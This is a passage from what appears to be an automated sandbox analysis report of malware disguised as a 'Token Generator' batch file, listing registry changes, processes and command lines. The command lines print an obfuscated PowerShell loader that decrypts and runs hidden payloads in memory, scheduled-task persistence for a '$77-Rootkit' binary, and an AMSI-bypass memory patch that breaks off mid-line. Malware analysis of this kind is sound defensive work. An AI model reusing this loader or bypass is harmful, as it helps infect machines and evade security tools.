| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1716757114" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key deleted | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | C:\Windows\system32\svchost.exe | N/A |
| Key deleted | \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key deleted | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={9978C964-30BF-4865-8D88-D53FC5CFA57E}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\winlogon.exe
winlogon.exe
C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
C:\Windows\system32\dwm.exe
"dwm.exe"
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
C:\Windows\system32\sihost.exe
sihost.exe
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Token Generator.bat"
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l7xIjD7w3X9IZsoce95u+FWxpwh41oGtZjuJWP8Q3+U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Ji4GPB6lVnv6Xlch9sujw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aXkIe=New-Object System.IO.MemoryStream(,$param_var); $bzUdJ=New-Object System.IO.MemoryStream; $mnRoM=New-Object System.IO.Compression.GZipStream($aXkIe, [IO.Compression.CompressionMode]::Decompress); $mnRoM.CopyTo($bzUdJ); $mnRoM.Dispose(); $aXkIe.Dispose(); $bzUdJ.Dispose(); $bzUdJ.ToArray();}function execute_function($param_var,$param2_var){ $ncCdx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NjXjX=$ncCdx.EntryPoint; $NjXjX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Token Generator.bat';$jtmXF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Token Generator.bat').Split([Environment]::NewLine);foreach ($yxuaZ in $jtmXF) { if ($yxuaZ.StartsWith(':: ')) { $FJFrF=$yxuaZ.Substring(3); break; }}$payloads_var=[string[]]$FJFrF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_520_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_520.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_520.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_520.bat" "
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l7xIjD7w3X9IZsoce95u+FWxpwh41oGtZjuJWP8Q3+U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Ji4GPB6lVnv6Xlch9sujw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aXkIe=New-Object System.IO.MemoryStream(,$param_var); $bzUdJ=New-Object System.IO.MemoryStream; $mnRoM=New-Object System.IO.Compression.GZipStream($aXkIe, [IO.Compression.CompressionMode]::Decompress); $mnRoM.CopyTo($bzUdJ); $mnRoM.Dispose(); $aXkIe.Dispose(); $bzUdJ.Dispose(); $bzUdJ.ToArray();}function execute_function($param_var,$param2_var){ $ncCdx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NjXjX=$ncCdx.EntryPoint; $NjXjX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_520.bat';$jtmXF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_520.bat').Split([Environment]::NewLine);foreach ($yxuaZ in $jtmXF) { if ($yxuaZ.StartsWith(':: ')) { $FJFrF=$yxuaZ.Substring(3); break; }}$payloads_var=[string[]]$FJFrF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Users\Admin\AppData\Local\Temp\Token Generator.exe
"C:\Users\Admin\AppData\Local\Temp\Token Generator.exe"
C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ChlKNlpkKByZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uiNTtGhhRCBUxm,[Parameter(Position=1)][Type]$qSYxMpUFnF)$TvWeutOuTnM=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+'l'+[Char](101)+''+'c'+''+'t'+''+[Char](101)+'d'+'D'+'e'+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+'e'+''+[Char](109)+'ory'+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+'e'+[Char](108)+''+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+'e'+'',''+[Char](67)+'l'+[Char](97)+'s'+'s'+',P'+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+'S'+''+[Char](101)+'ale'+'d'+',An'+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+'u'+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$TvWeutOuTnM.DefineConstructor(''+'R'+''+'T'+''+'S'+'p'+'e'+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+'Na'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+'i'+''+[Char](103)+''+','+'Pu'+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$uiNTtGhhRCBUxm).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'me'+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$TvWeutOuTnM.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+'ub'+'l'+'i'+[Char](99)+''+[Char](44)+'Hi'+[Char](100)+''+'e'+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+'ot'+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$qSYxMpUFnF,$uiNTtGhhRCBUxm).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $TvWeutOuTnM.CreateType();}$DNWyDcAFHfcyU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+'c'+'r'+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+'t'+'.'+'W'+''+[Char](105)+'n32.'+'U'+''+[Char](110)+''+[Char](115)+'afe'+[Char](78)+'a'+[Char](116)+''+'i'+''+[Char](118)+''+'e'+''+'M'+''+'e'+'t'+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$MveFiCXPazIWBg=$DNWyDcAFHfcyU.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+'o'+''+[Char](99)+'A'+'d'+'d'+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+','+'S'+'t'+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qHHnUewcqgerJgKAEeM=ChlKNlpkKByZ @([String])([IntPtr]);$htlniFmKNyzoxgyyeqbyRT=ChlKNlpkKByZ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$GgbSbGpgXcn=$DNWyDcAFHfcyU.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+'H'+'a'+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+'l32'+[Char](46)+'dl'+[Char](108)+'')));$vqxvbUIHBPcTXM=$MveFiCXPazIWBg.Invoke($Null,@([Object]$GgbSbGpgXcn,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'d'+[Char](76)+'ib'+'r'+''+[Char](97)+'ry'+'A'+'')));$TeOfagDmBPjdtxmlx=$MveFiCXPazIWBg.Invoke($Null,@([Object]$GgbSbGpgXcn,[Object]('V'+'i'+''+[Char](114)+'tu'+'a'+'l'+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$dJGSyHL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vqxvbUIHBPcTXM,$qHHnUewcqgerJgKAEeM).Invoke('a'+[Char](109)+''+[Char](115)+'i'+'.'+''+[Char](100)+''+[Char](108)+'l');$tgQcBgLTVEjOFCNGF=$MveFiCXPazIWBg.Invoke($Null,@([Object]$dJGSyHL,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+'an'+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$yxgjiOxHND=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TeOfagDmBPjdtxmlx,$htlniFmKNyzoxgyyeqbyRT).Invoke($tgQcBgLTVEjOFCNGF,[uint32]8,4,[ref]$yxgjiOxHND);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$tgQcBgLTVEjOFCNGF,6);[R